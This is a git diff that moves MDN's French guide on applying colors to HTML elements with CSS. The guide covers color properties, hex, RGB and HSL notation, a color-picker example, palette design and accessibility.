La couleur fait partie intégrante des moyens d'expressions. Lorsqu'on écrit un site web, il est naturel d'y ajouter des couleurs dans la mise en forme. Avec CSS, il existe de nombreuses façons d'ajouter de la couleur aux éléments HTML afin d'obtenir le résultat souhaité. Cet article est une introduction détaillée aux différentes méthodes permettant d'appliquer des couleurs CSS en HTML.

- -

L'ajout de couleur à un document HTML s'avère assez simple et permet de colorer presque tous les éléments.

- -

Nous allons voir ici la liste de ce qui peut être coloré, la liste des propriétés CSS impliquées, les différentes façons de décrire une couleur, comment utiliser des couleurs dans les feuilles de style et dans les scripts. Nous verrons également comment permettre à un utilisateur de sélectionner une couleur.

- -

Enfin, nous verrons comment utiliser les bonnes couleurs, en gardant à l'esprit les différentes notions d'accessibilité.

- -

Ce qui peut être coloré

- -

On peut appliquer une couleur sur chaque élément HTML. Voyons plutôt quels sont les choses que l'on peut dessiner sur les éléments : le texte, la bordure, etc. Pour chacune de ces choses, nous verrons la liste des propriétés CSS qui permettent de les colorer.

- -

De façon générale, la propriété {{cssxref("color")}} permet de définir la couleur de premier plan pour le contenu d'un élément HTML et la propriété {{cssxref("background-color")}} permete de définir la couleur utilisé pour l'arrière-plan de l'élément. Ces propriétés peuvent être utilisées sur la quasi-totalité des éléments HTML.

- -

Texte

- -

Lorsqu'un élément est affiché à l'écran, les propriétés suivantes déterminent la couleur du texte, celle de son arrière-plan et celle des décorations.

- -
-
{{cssxref("color")}}
-
Cette propriété correspondra à la couleur utilisée pour dessiner le texte ainsi que ses décorations (tels que le soulignement, le surlingement, les rayures, etc.).
-
{{cssxref("background-color")}}
-
Cette propriété correspondra à la couleur utilisée en arrière-plan du texte.
-
{{cssxref("text-shadow")}}
-
Cette propriété permet d'ajouter un effet d'ombre au texte. Parmi les options de cette ombre, on a la couleur de base de l'ombre (qui participe au flou et qui est fusionnée avec l'arrière-plan selon les autres paramètres. Voir ce paragraphe pour en savoir plus.
-
{{cssxref("text-decoration-color")}}
-
Par défaut, les décorations du texte (le soulignement, les rayures, etc.) utilise la propriété color pour leurs couleurs. Il est cependant possible de passer outre cette valeur et de fournir une couleur différente avec la propriété text-decoration-color.
-
{{cssxref("text-emphasis-color")}}
-
Cette propriété correspondra à la couleur utilisée pour dessiner les symboles d'emphase utilisés à côté des caractères du texte. Ces symboles sont principalement utilisés dans des textes écrits dans des langues d'Asie orientale.
-
{{cssxref("caret-color")}}
-
Cette  propriété correspondra à la couleur utilisée pour dessiner le curseur de saisie de texte dans l'élément. Cette propriété est uniquement pertinente pour les éléments qui sont éditables (par exemple {{HTMLElement("input")}} et {{HTMLElement("textarea")}} ou les éléments dont l'attribut {{htmlattrxref("contenteditable")}} est activé).
-
- -

Boîtes

- -

Chaque élément est une boîte avec du contenu. Cette boîte possède un arrière-plan et une bordure, quel que soit le contenu qu'elle renferme

- -
-
{{anch("Bordures")}}
-
Voir la section {{anch("Bordures")}} pour la liste des propriétés CSS qui peuvent être utilisées pour colorer la bordure d'une boîte.
-
{{cssxref("background-color")}}
-
Cette propriété correspondra à la couleur d'arrière-plan, utilisée dans les zones où l'élément ne possède pas de contenu au premier plan.
-
{{cssxref("column-rule-color")}}
-
Cette propriété correspondra à la couleur utilisée pour dessiner la ligne qui sépare des colonnes de texte.
-
{{cssxref("outline-color")}}
-
Cette propriété correspondra à la couleur utilisée pour le contour de l'élément. Le contour est différent de la bordure car il occupe un espace autour de la boîte et peut alors chevaucher le contenu d'une autre boîte. Le contour est généralement utilisé afin d'indiquer que l'élément a le focus et ainsi montrer quel élément reçoit les évènements de saisie.
-
- -

Bordures

- -

Tout élément possède une bordure dessinée autour. Une bordure simple est représentée par une ligne dessinant un rectangle autour du contenu de l'élément. Vous pouvez lire la mise en forme des bordures grâce à CSS afin d'approfondir ce sujet.

- -

Il est possible d'utiliser la propriété raccourcie {{cssxref("border")}} qui permet de configurer l'ensemble des caractéristiques d'une bordure en une seule règle (y compris les caractéristiques qui ne sont pas liées aux couleurs comme la largeur, le style (ligne pleine, pointillés, etc.) et ainsi de suite).

- -
-
{{cssxref("border-color")}}
-
Cette propriété correspondra à la couleur qui sera utilisée pour chacun des côtés de la bordure.
-
{{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, {{cssxref("border-bottom-color")}}
-
Ces propriétés permettent d'indiquer une couleur différente pour chaque côté de la bordure de l'élément.
-
{{cssxref("border-block-start-color")}} et {{cssxref("border-block-end-color")}}
-
Ces propriétés permettent de définir les couleurs utilisées pour les côtés de la bordure dans l'axe orthogonal au sens d'écriture. Ainsi, si le texte est écrit en français (de gauche à droite), border-block-start-color permettra de définir le côté haut de la bordure et border-block-end-color le côté bas.
-
{{cssxref("border-inline-start-color")}} et {{cssxref("border-inline-end-color")}}
-
Ces propriétés permettent de définir les couleurs utilisées pour les bordures pour les côtés sur l'axe du sens d'écriture. Les côtés impactés dépendent donc des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}} qui permettent, la plupart du temps, d'ajuster la directionnalité du texte en fonction de la langue utilisée. Si le texte est écrit de droite à gauche, border-inline-start-color correspondra à la couleur appliquée sur le côté droit.
-
- -

Les autres méthodes pour utiliser de la couleur

- -

CSS n'est pas la seule technologie web qui gère des couleurs. Voici les autres technologies qui permettent d'apporter de la couleur sur une page web.

- -
-
L'API Canvas
-
Cette API permet de dessiner des graphiques matriciels en deux dimensions à l'intérieur d'un élément {{HTMLElement("canvas")}}. Vous pouvez lire le tutoriel sur l'API Canvas pour en savoir plus.
-
SVG (Scalable Vector Graphics)
-
Ce format permet de dessiner des images en indiquant des commandes pour dessiner des formes, des motifs et des lignes afin de composer une image. Les commandes SVG sont construites dans un fichier XML et peuvent être embarquées dans une page web grâce à un élément {{HTMLElement("img")}}.
-
WebGL
-
L'API Web Graphics Library est une API basée sur OpenGL ES qui permet de dessiner en deux ou trois dimensions sur le Web. Voir Apprendre WebGL pour les graphismes en 2D et 3D afin d'en savoir plus.
-
- -

Comment décrire une couleur

- -

Afin de représente une couleur en CSS, il est nécessaire de trouver une méthode pour « traduire » le concept analogique de couleur dans un format numérique qu'un ordinateur pourra utiliser. Pour ce faire, on décompose la couleur en différentes composantes. Cela peut être la part de chaque couleur primaire ou bien la teinte et la luminosité de la couleur. Bref, il existe différentes façons de décrire une couleur en CSS.

- -

Pour des informations plus détaillées sur chaque type de valeur, vous pouvez consulter la page de la référence CSS à propos de l'unité {{cssxref("<color>")}}.

- -

Mots-clés

- -

Un ensemble standard de noms de couleurs a été défini et il est possible d'utiliser l'un de ces mots-clés plutôt qu'une représentation numérique s'il existe un mot-clé pour la valeur qu'on souhaite utiliser. Les mots-clés désignant les couleurs regroupent les couleurs primaires et secondaires (tels quered pour rouge, blue pour bleu, orange), les tons de gris (allant de black pour noir à  white pour blanc et incluant des niveaux tels que darkgray (gris foncé) et lightgrey (gris clair)). D'autres couleurs sont également disponibles avec un mot-clé comme lightseagreen, cornflowerblue ou rebeccapurple.

- -

Vous pouvez consulter cette liste pour connaître l'ensemble des mots-clés disponibles.

- -

Valeurs RGB

- -

Il existe trois façons de représenter une couleur RGB en CSS.

- -

La notation hexadécimale

- -

On peut utiliser une chaîne de caractères avec des chiffres hexadécimaux afin de représenter chacune des composantes (rouge, verte, bleue). On peut également décrire une quatrième composante pour l'opacité. Chaque composante est représentée par un nombre entre 0 et 255 (ce qui correspond à 0x00 et 0xFF en notation hexadécimale) ou par un nombre entre 0 et 15 (ce qui correspond à 0x0 et 0xF en notation hexadécimale). Toutes les composantes doivent être indiquées avec le même nombre de chiffres. Si c'est la notation à un seul chiffre qui est utilisée, la couleur finale sera calculée avec chaque composante doublée, autrement dit, "#D" sera converti en "#DD".

- -

Lorsqu'on utilise une chaîne de caractères avec un code hexadécimale, la chaîne de caractères commence toujours par le caractère "#". Le reste de la chaîne correspond aux chiffres hexadécimaux. L'utilisation des majuscules ou minuscules n'a pas d'importance.

- -
-
"#rrggbb"
-
Cette forme indique une couleur opaque dont les deux premiers chiffres hexadécimaux indiquent la composante rouge (0xrr), les deux chiffres suivants indiquent la composante verte (0xgg) et les deux derniers chiffres indiquent la composante bleue (0xbb).
-
"#rrggbbaa"
-
Cette forme indique une couleur dont les deux premiers chiffres hexadécimaux indiquent la composante rouge (0xrr), les deux chiffres suivants indiquent la composante verte (0xgg), les deux chiffres suivants indiquent la composante bleue (0xbb), enfin, les deux derniers chiffres indiquent la composante alpha (0xaa) utilisée pour indiquer l'opacité de la couleur (plus la valeur est faible, plus la couleur est transparente).
-
"#rgb"
-
Cette forme indique une couleur dont la composante rouge vaut 0xrr, la composante verte vaut 0xgg et dont la composante bleue vaut 0xbb.
-
"#rgba"
-
Cette forme indique une couleur dont la composante rouge vaut 0xrr, la composante verte vaut 0xgg et dont la composante bleue vaut 0xbb. Le canal alpha vaut 0xaa (plus la valeur est faible, plus la couleur sera transparente).
-
- -

Par exemple, on pourra représenter un bleu pur et opaque avec les chaînes de caractères "#0000ff" ou "#00f". Pour le rendre opaquee à 25%, on utilisera "#0000ff44" ou "#00f4".

- -

La notation fonctionnelle RGB

- -

La notation fonctionnelle RGB permet, comme les chaînes de caractères hexadécimales, de représenter des couleurs avec leurs composantes rouge, verte, bleue et éventuellement avec une composante alpha pour l'opacité. Toutefois, au lieu d'utiliser une chaîne de caractères, on utilise ici la fonction CSS {{cssxref("Type_color","rgb()","#rgb()")}}. Cette fonction prend trois arguments pour chacune des composantes (dans cet ordre) rouge, verte et bleue. Un quatrième paramètre, optionnel, permet d'indiquer la valeur du canal alpha.

- -

Voici les valeurs qui peuvent être utilisées pour chacun de ces paramètres :

- -
-
red, green et blue
-
Chaque composante doit être un entier (type {{cssxref("<integer>")}}) compris entre 0 et 255 (inclus) ou un pourcentage (type {{cssxref("<percentage>")}}) compris entre 0% et 100%.
-
alpha
-
Le canal alpha est un nombre entre 0.0 (la couleur est alors totalement transparente) et 1.0 (complètement opaque). On peut également utiliser un pourcentage où 0% correspondra à la valeur 0.0 et 100% correspondra à la valeur 1.0.
-
- -

Par exemple, on pourra représenter un rouge pur à moitié opaque grâce à rgb(255, 0, 0, 0.5) ou grâce à rgb(100%, 0, 0, 50%).

- -

La notation fonctionnelle HSL

- -

D'autres personnes préfèrent manipuler la notation HSL ou aussi appeléee « Teinte saturation luminosité » (NDT : HSL signifie Hue Saturation Lightness en anglais). Sur le Web, les couleurs HSL sont représentées grâce à la notation fonctionnelle hsl() (qui fonctionne de façon analogue à la fonction rgb()).

- -
-
HSL color cylinder -
Figure 1. Le cylindre HSL. Hue (la teinte) définit la couleur sur un axe radial qui parcourt les couleurs du spectre visible. La saturation est un pourcentage de la teinte entre un gris total et la couleur de la teinte vive. Enfin, la luminosité permet d'avoir des couleurs plus sombres (noir pour une luminosité nulle ou blanc pour une luminosité maximale). Cette image a été créée par SharkD sur Wikipédia et est distribuée avec la licence CC BY-SA 3.0.
-
-
- -

La valeur de la teinte (H) est un angle qui début au rouge, parcourt le jaune, le vert, le cyan, le bleu et le magenta (avant de revenir à rouge avec un angle de 360°). Cette valeur identifie la teinte de base. La valeur utilisée est de type {{cssxref("<angle>")}} et on peut utiliser différentes unités disponibles en CSS comme les degrés (deg), les radians (rad), les grades (grad) ou les tours (turn).

- -

Ensuite, la saturation (S) indique la force de la teinte dans la couleur. Enfin, la luminosité (L) indique le niveau de gris de la couleur.

- -

On peut faire une analogie avec la conception d'une couleur pour une peinture :

- -
    -
  1. On commence avec une peinture de base qui possède l'intensité la plus forte pour une couleur donnée (par exemple, le bleu le plus intense qui puisse être affiché) : c'est la teinte (hue) (H). En CSS, c'est un angle qui détermine la couleur parmi une roue de couleurs.
    2. -
  2. Ensuite, on choisit une peinture avec un niveau de gris qui la force de la couleur. Est-ce qu'on veut qu'elle soit claire ou sombre, voire complètement noire ? C'est la luminosité (L). En CSS, c'est un pourcentage, 0% indiquant une couleur noire et 100% une couleur blanche.
    3. -
  3. Enfin, avec ces deux peintures, on décide de la proportion de chacune pour le mélange final : c'est la saturation (S). Plus cette valeur est élevée, plus on utilise la couleur de base, plus cette valeur est faible et plus on utilise la peinture grise.
    4. -
- -

Il est également possible d'ajouter un canal alpha afin d'avoir une couleur partiellement (ou totalement) transparente.

- -

Voici quelques exemples utilisant la notation HSL :

- -
- - -

{{EmbedLiveSample("hsl-swatches", 300, 260)}}

-
- -
-

Note : Il est possible d'omettre l'unité pour la valeur de la teinte (hue), l'unité par défaut utilisée sera alors les degrés (deg).

-
- -

Utiliser les couleurs

- -

Maintenant qu'on connaît les différentes propriétés CSS, comment décrire une couleur et dans quel format, on peut assembler cela pour utiliser les couleurs dans un document web. Comme on l'a vu précédemment, de nombreuses choses peuvent être colorées. Pour ce faire, on peut utiliser deux mécanismes : une « feuille de style » et du code JavaScript pour modifier et ajouter des couleurs dynamiquement.

- -

Indiquer les couleurs via une feuille de style

- -

La façon la plus simple (et la plus fréquemment utilisée) pour appliquer des couleurs est d'utiliser une feuille de style CSS qui sera traitée par le navigateur au moment d'afficher les éléments à l'écran. Par la suite, nous verrons plusieurs exemples (sans pour autant exploiter toutes ces propriétés).

- -

Prenons un exemple et commençons par le résultat :

- -
{{EmbedLiveSample("Indiquer_les_couleurs_via_une_feuille_de_style", 650, 150)}}
- -

HTML

- -

Voici le fragment de code HTML utilisé pour cet exemple :

- -
<div class="conteneur">
-  <div class="boite boiteGauche">
-    <p>
-      Voici la première boîte.
-    </p>
-  </div>
-  <div class="boite boiteDroite">
-    <p>
-      Voici la seconde boîte.
-    </p>
-  </div>
-</div>
- -

Ce fragment est plutôt simple : on utilise un élément {{HTMLElement("div")}} qui enveloppe le contenu, constitué de deux <div>, chacun avec une classe différente et contenant chacun un paragraphe (c'est-à-dire un élément {{HTMLElement("p")}}).

- -

Voyons ensuite la feuille de style CSS appliquée au bloc HTML précédent.

- -

CSS

- -

Nous allons ici étudier la feuille de style en la décomposant, partie par partie.

- -
.conteneur {
-  width: 620px;
-  height: 110px;
-  margin: 0;
-  padding: 10px;
-  border: 6px solid mediumturquoise;
-}
- -

Le sélecteur de classe .conteneur permet d'appliquer des styles à l'élément {{HTMLElement("div")}} qui enveloppe le reste du contenu. Pour ce style, on indique une largeur avec la propriété {{cssxref("width")}} et une hauteur avec la propriété {{cssxref("height")}}, on définit aussi une marge et une zone de remplissage avec {{cssxref("margin")}} et {{cssxref("padding")}}.

- -

La règle la plus intéressante est celle où on manipule la propriété {{cssxref("border")}} afin de dessiner une bordure sur l'extérieur de l'élément. Cette bordure sera une ligne pleine de 6 pixels avec la couleur mediumturquoise.

- -

Les deux boîtes colorées possèdent un certain nombre de propriétés communes. On utilise donc une classe : .boite pour laquelle on définit ces propriétés qui seront appliquées sur les deux éléments :

- -
.boite {
-  width: 290px;
-  height: 100px;
-  margin: 0;
-  padding: 4px 6px;
-  font: 28px "Marker Felt", "Zapfino", cursive;
-  display: flex;
-  justify-content: center;
-  align-items: center;
-}
- -

Pour résumer, les styles ciblés par .boite indiquent la taille de la boîte, la configuration de la police de caractères utilisée, centrent le contenu des boîtes grâce aux boîtes flexibles CSS. Pour cela, on utilise le mode d'affichage flex avec {{cssxref("display", "display: flex")}} et on paramètre les propriétés {{cssxref("justify-content")}} et {{cssxref("align-items")}} avec la valeur center. Ensuite, on crée une classe pour chacune des deux boîtes dont chacune définit les propriétés qui diffèrent entre ces éléments.

- -
.boiteGauche {
-  float: left;
-  background-color: rgb(245, 130, 130);
-  outline: 2px solid darkred;
-}
- -

La classe .boiteGauche permet de mettre en forme la boîte située à gauche et on l'utilise pour définir certaines couleurs :

- -
    -
  • La couleur de l'arrière-plan est définie grâce à la propriété {{cssxref("background-color")}} pour laquelle on fournit la valeur rgb(245, 130, 130).
    • -
  • Un contour est défini autour de la boîte grâce à la propriété {{cssxref("outline")}}. Ici, ce contour est une ligne pleine, rouge foncée (le mot-clé darkred) de deux pixels.
    • -
  • On notera ici qu'on ne définit pas de couleur pour le texte. La valeur qui sera utilisée pour la propriété {{cssxref("color")}} sera celle qui est héritée par le plus proche élément englobant qui définit cette propriété. La couleur par défaut est le noir.
    • -
- -
.boiteDroite {
-  float: right;
-  background-color: hsl(270deg, 50%, 75%);
-  outline: 4px dashed rgb(110, 20, 120);
-  color: hsl(0deg, 100%, 100%);
-  text-decoration: underline wavy #88ff88;
-  text-shadow: 2px 2px 3px black;
-}
- -

Enfin, la classe .boiteDroite décrit les propriétés de la boîte dessinée à droite. On configure cette boîte afin qu'elle flotte à droite de la boîte précédente. Ensuite, on paramètre les couleurs suivantes :

- -
    -
  • La propriété background-color est définie avec la notation fonctionnelle HSL : hsl(270deg, 50%, 75%). Cela correspond à un violet.
    • -
  • La propriété outline permet d'indiquer un contour de 4 pixels formé par une ligne pointillée dont la couleur est exprimée avec la notation fonctionnelle RGB rgb(110, 20, 120) (violet foncé).
    • -
  • La couleur de premier plan (c'est-à-dire celle utilisée pour le texte) est définie avec la propriété {{cssxref("color")}} et la valeur hsl(0deg, 100%, 100%) qui correspond au blanc.
    • -
  • On ajoute une ligne verte ondulée sous le texte avec {{cssxref("text-decoration")}}.
    • -
  • Enfin, on ajoute une ombre au texte avec la propriété {{cssxref("text-shadow")}} dont le paramètre de couleur vaut black (noir).
    • -
- -

Permettre à l'utilisateur de choisir une couleur

- -

Il existe différentes situations où l'on peut/doit permettre à l'utilisateur de sélectionner une couleur. Il peut s'agir d'une interface personnalisable, d'une application de dessin, d'une application d'édition où on peut choisir la couleur du texte, etc. Bien que, par le passé, il fut nécessaire d'implémenter son propre sélecteur de couleur, HTML fournit désormais au navigateurs une façon homogène de le faire avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type", "input")}} vaut "color".

- -

Lorsqu'on choisit une couleur via un élément <input>, la valeur stockée dans le document et envoyée via le formulaire est représentée avec une chaîne de caractères hexadécimale.

- -

Exemple : sélectionner une couleur

- -

Prenons un exemple simple où l'utilisateur choisit une couleur qui est immédiatement appliquée sur la bordure de l'exemple. Une fois la couleur finale sélectionnée, la valeur du sélecteur de couleur est affichée.

- -

{{EmbedLiveSample("Exemple_:_sélectionner_une_couleur", 525, 275)}}

- -
-

Note : Sur macOS, pour indiquer qu'on a fini de choisir la couleur, il faut fermer la fenêtre du sélecteur de couleur.

-
- -

HTML

- -

Voici le fragment HTML qui permet de créer une boîte qui contient un sélecteur de couleur avec un libellé associé (l'élément {{HTMLElement("label")}}) ainsi qu'un paragraphe ({{HTMLElement("p")}}) vide dans lequel nous placerons plus tard du texte avec JavaScript.

- -
<div id="box">
-  <label for="colorPicker">Couleur de la bordure :</label>
-  <input type="color" value="#8888ff" id="colorPicker">
-  <p id="output"></p>
-</div>
- -

CSS

- -

La feuille CSS détermine la taille de la boîte et une mise en forme simple. La bordure mesure deux pixels de large (mais sera modifiée par le code JavaScript qui va suivre…).

- -
#box {
-  width: 500px;
-  height: 200px;
-  border: 2px solid rgb(245, 220, 225);
-  padding: 4px 6px;
-  font: 16px "Lucida Grande", "Helvetica", "Arial", "sans-serif"
-}
- -

JavaScript

- -

Le script est utilisé pour mettre à jour la couleur de la bordure afin que celle-ci corresponde à la valeur courante du sélecteur. On ajoute ensuite deux gestionnaires d'évènements pour « écouter » ce qui se passe avec l'élément <input type="color">.

- -
let colorPicker = document.getElementById("colorPicker");
-let box = document.getElementById("box");
-let output = document.getElementById("output");
-
-box.style.borderColor = colorPicker.value;
-
-colorPicker.addEventListener("input", function(event) {
-  box.style.borderColor = event.target.value;
-}, false);
-
-colorPicker.addEventListener("change", function(event) {
-  output.innerText = "Couleur choisie : " + colorPicker.value;
-}, false);
- -

L'évènement {{event("input")}} est envoyé chaque fois que la valeur de l'élément change, c'est-à-dire chaque fois que l'utilisateur ajuste la couleur via le sélecteur. Pour chacun de ces évènements, on modifie la couleur de la bordure afin qu'elle corresponde à celle du sélecteur.

- -

L'évènement {{event("change")}} est reçu lors de la finalisation du choix de la couleur via le sélecteur. Lorsque cet évènement suvient, on modifie le contenu de l'élément <p> (le paragraphe) qui possède l'identifiant "output" en y ajoutant une chaîne de caractères qui décrit la couleur choisie.

- -

L'art de choisir une couleur

- -

Choisir les bonnes couleurs lors de la conception d'un site web peut s'avérer plus compliqué qu'il n'y paraît. Un mauvais choix de couleur peut nuire à l'attractivité du site voire empêcher les utilisateurs de consulter le contenu si le contraste est trop faible ou les couleurs trop criardes. Dans le pire des cas, le site peut être inutilisable à cause des couleurs choisies pour les personnes qui ont des handicaps visuels.

- -

Trouver les bonnes couleurs

- -

Il existe des outils qui permettent de faciliter la sélection des couleurs. Bien qu'ils ne remplacent pas un bon designer, ils permettent au moins de commencer.

- -

La couleur de base

- -

La première étape consiste à choisir la couleur de base. C'est la couleur principale qui participe à la définition du site web ou du sujet dont il est question. Par exemple, on associe la couleur jaune à La Poste, le bleu au ciel ou à quelque chose de marin, etc. Voici quelques idées (parmi les nombreuses qui existent) pour choisir une couleur de base :

- -
    -
  • Une couleur naturellement associée au contenu : la couleur d'un produit ou une couleur rattachée à un concept/une émotion dont il serait question sur le site.
    • -
  • Naviguer parmi les sites existants et les bibliothèques d'image pour puiser de l'inspiration parmi les couleurs.
    • -
- -

Une fois la couleur de base sélectionnéee, vous pouvez utiliser certaines extensions de navigateur pour « prélever » des couleurs existantes sur le web. Le site web ColorZilla, par exemple, propose une extension (Chrome / Firefox) qui permet d'utiliser une pipette pour identifier les couleurs utilisées à un endroit d'une page web. Cette extension permet également de mesurer la couleur moyenne des pixels d'une zone donnée.

- -
-

Note : On peut s'apercevoir qu'un site contient plusieurs couleurs très proches les unes des autres, utiliser une « moyenne » permet alors de récupérer le ton principal sous la forme d'une seule couleur.

-
- -

Agrémenter la palette

- -

Une fois la couleur de base sélectionnée et identifiée, il existe de nombreux outils qui permettent de construire une palette de couleurs qui pourront être utilisées avec cette couleur de base. Ces outils utilisent la théorie des couleurs pour déterminer les couleurs appropriées. Certains de ces outils permettent également de voir les couleurs « filtrées » afin de visualiser ce qu'une personne daltonienne verrait.

- -

Voici quelques exemples (libres d'accès et gratuits au moment où nous écrivons ces lignes) de tels outils :

- - - -

Lorsque vous concevez votre palette de couleurs, gardez à l'esprit qu'en plus des couleurs générées par ces outils, il faudra vraisemblablement prévoir des couleurs neutres (telles que le blanc ou un ton de blanc, du noir ou un ton de noir et certaines nuances de gris).

- -
-

Note : On utilise généralement le moins de couleurs possibles afin de garder une cohérence. En utilisant des couleurs afin d'accentuer certains éléments plutôt que d'en utiliser pour tous les éléments de la page, on rend le contenu plus facile à lire et à parcourir. De plus, les couleurs ont ainsi plus d'impact

-
- -

Quelques ressources sur la théorie des couleurs

- -

Décrire l'ensemble des notions liées à la théorie des couleurs dépasse le sujet de cet article. Toutefois, il existe de nombreux articles traitant de ce sujet ainsi que des cours pour apprendre ces notions. Voici quelques unes des ressources disponibles en ligne à propos de la théorie des couleurs :

- -
-
La science des couleurs (en anglais) (Khan Academy en association avec Pixar)
-
Un cours en ligne qui introduit certains concepts : qu'est-ce qu'une couleur, comment est-elle perçue, comment utiliser les couleurs afin de véhiculer certaines idées.
-
La théorie des couleurs sur Wikipédia (en anglais)
-
La page Wikipédia qui traite de la théorie des couleurs et qui fournit de nombreuses informations techniques.
-
- -

Les couleurs et l'accessibilité

- -

Une couleur peut poser différents problèmes d'accessibilité. Une couleur mal choisie pourra empêcher certaines personnes d'utiliser l'interface du site, ce qui peut se traduire par une baisse de fréquentation, une mauvaise image (au sens propre comme au figuré), etc.

- -

Pour commencer, n'hésitez pas à vous renseigner sur le daltonisme et les différents types de daltonisme : confusion rouge/vert, confusion sur l'ensemble des couleurs.

- -
-

Note : Une règle d'or consiste à ne jamais utiliser une couleur comme seule façon d'indiquer une information. Si, par exemple, vous souhaitez indiquer une réussite ou un échec en changeant uniquement la couleur d'un symbole (un drapeau par exemple), les utilisateurs souffrant de daltonismes et avec une confusion rouge/vert ne pourront pas lire cette information. Il est sans doute préférable d'utiliser du texte et de la couleur afin que tout le monde puisse être en mesure de comprendre ce qui a changé.

-
- -

Pour plus d'informations sur le daltonisme, vous pouvez consulter les articles suivants (en anglais, n'hésitez pas à éditer la page pour ajouter des ressources francophones) :

- - - -

Un exemple de conception de palette

- -

Considérons un exemple rapide pour construire une palette. Imaginons qu'on souhaite construire un site web pour un jeu dont l'action se déroule sur Mars. On peut rechercher des images relatives à Mars sur Google ou sur un autre moteur de recherche. On utilise un sélecteur de couleur pour sélectionner un échantillon de couleur.

- -

Avec une pipette, on identifie la couleur de base : c'est la couleur de code D79C7A, qui correspond à un rouge orangé rouillé, typique de l'imaginaire collectif pour la surface martienne.

- -

Une fois la couleur de base sélectionnée, on construit la palette. Pour cela, nous avons choisi Paletteon afin de compléter avec d'autres couleurs. Lorsqu'on ouvre Palleton, on voit ceci :

- -

L'affichage du site Palleton après l'ouverture

- -

Ensuite, on saisi le code de la couleur (D79C7A) dans le champ "Base RGB" situé en bas à gauche de l'outil :

- -

After entering base color

- -

On obtient alors une palette monochromatique, basée sur la couleur sélectionnée. Si vous avez besoin d'un nuancier autour de cette couleur, la palette monochromatique pourra sans doute vous aider. Mais ici, on souhaite plutôt avoir une couleur qui ressorte, pour cela on clique sur le case "add complementary"sous le menu permettant de sélectionner le type de palette (et qui vaut "Monochromatic"). Paletteon calcule alors une couleur complémentaire appropriée et indique le code de cette nouvelle couleur dans le coin inférieur droit : #508D7C.

- -

Now with complementary colors included.

- -

Si vous n'êtes pas satisfait du résultat obtenu, vous pouvez faire varier le schéma de composition. Ainsi, on pourra utiliser le thème "Triad" qui fournira le résultat suivant :

- -

Triad color scheme selected

- -

On obtient alors un bleu gris en haut à droite. En cliquant dessus, on obtient le code #556E8D. On pourra utiliser cette couleur afin d'accentuer certains éléments tels que les titres ou les onglets mis en évidence ou bien d'autres indicateurs sur le site :

- -

Triad color scheme selected

- -

Maintenant, nous disposons d'une couleur de base, d'une couleur d'accentuation ainsi que de variations autour de celles-ci au cas où nous aurions besoin de dégradés.  On peut exporter les couleurs sous différents formats afin de les utiliser.

- -

Avec ces couleurs, il faudra probablement sélectionner quelques couleurs neutres. Une pratique courante consiste à trouver le contraste suffisant pour que le texte soit pleinement lisible mais sans que ce contraste soit trop fort. Il est facile de s'égarer dans l'une ou l'autre des directions : n'hésitez pas à demander des retours sur les couleurs que vous avez sélectionnées. Si le contraste est trop faible, le texte sera illisible et on ne pourra pas le distinger de l'arrière-plan, cela pourra également poser des problèmes d'accessibilité. Si le contraste est trop élevé, le site pourra paraître criard.

- -

Les couleurs, les arrière-plans, le contraste et l'impression

- -

Le rendu d'un document peut être différent selon que ce dernier est affiché sur un écran ou sur du papier. De plus, sur papier, on peut chercher à économiser l'encre superflu. Lorsqu'un utilisateur imprime une page, il n'est par exemple peut-être pas nécessaire d'imprimer les arrière-plans. Par défaut, la plupart des navigateurs retire les images d'arrière-plan à l'impression.

- -

Si les couleurs d'arrière-plan ou les images sont importantes pour l'ensemble du document, on peut utiliser la propriété {{cssxref("color-adjust")}} afin d'indiquer au navigateur qu'il ne faut pas modifier l'apparence du contenu.

- -

Par défaut, la propriété color-adjust vaut economy et indique au navigateur qu'il peut modifier l'apparence afin d'optimiser la lisibilité du contenu et d'économiser de l'encre selon le support d'imprimerie.

- -

color-adjust peut être paramétré avec la valeur exact afin d'indiquer au navigateur qu'un ou plusieurs éléments doivent être conservés tels quels afin que l'ensemble du document ne soit pas détérioré.

- -
-

Note : Il n'est pas garanti que le navigateur respecte exactement la feuille de style utilisée avec color-adjust: exact. En effet, si le navigateur fournit une option à l'utilisateur pour ne pas imprimer les arrière-plans, ce réglage prendra le pas sur la feuille de style.

-
- -

Voir aussi

- - diff --git a/files/fr/web/html/applying_color/index.html b/files/fr/web/html/applying_color/index.html new file mode 100644 index 0000000000..58015bad66 --- /dev/null +++ b/files/fr/web/html/applying_color/index.html @@ -0,0 +1,506 @@ +--- +title: Appliquer des couleurs sur des éléments HTML grâce à CSS +slug: Web/HTML/Appliquer_des_couleurs +tags: + - CSS + - Débutant + - Guide + - HTML +translation_of: Web/HTML/Applying_color +--- +
{{HTMLRef}}
+ +

La couleur fait partie intégrante des moyens d'expressions. Lorsqu'on écrit un site web, il est naturel d'y ajouter des couleurs dans la mise en forme. Avec CSS, il existe de nombreuses façons d'ajouter de la couleur aux éléments HTML afin d'obtenir le résultat souhaité. Cet article est une introduction détaillée aux différentes méthodes permettant d'appliquer des couleurs CSS en HTML.

+ +

L'ajout de couleur à un document HTML s'avère assez simple et permet de colorer presque tous les éléments.

+ +

Nous allons voir ici la liste de ce qui peut être coloré, la liste des propriétés CSS impliquées, les différentes façons de décrire une couleur, comment utiliser des couleurs dans les feuilles de style et dans les scripts. Nous verrons également comment permettre à un utilisateur de sélectionner une couleur.

+ +

Enfin, nous verrons comment utiliser les bonnes couleurs, en gardant à l'esprit les différentes notions d'accessibilité.

+ +

Ce qui peut être coloré

+ +

On peut appliquer une couleur sur chaque élément HTML. Voyons plutôt quels sont les choses que l'on peut dessiner sur les éléments : le texte, la bordure, etc. Pour chacune de ces choses, nous verrons la liste des propriétés CSS qui permettent de les colorer.

+ +

De façon générale, la propriété {{cssxref("color")}} permet de définir la couleur de premier plan pour le contenu d'un élément HTML et la propriété {{cssxref("background-color")}} permete de définir la couleur utilisé pour l'arrière-plan de l'élément. Ces propriétés peuvent être utilisées sur la quasi-totalité des éléments HTML.

+ +

Texte

+ +

Lorsqu'un élément est affiché à l'écran, les propriétés suivantes déterminent la couleur du texte, celle de son arrière-plan et celle des décorations.

+ +
+
{{cssxref("color")}}
+
Cette propriété correspondra à la couleur utilisée pour dessiner le texte ainsi que ses décorations (tels que le soulignement, le surlingement, les rayures, etc.).
+
{{cssxref("background-color")}}
+
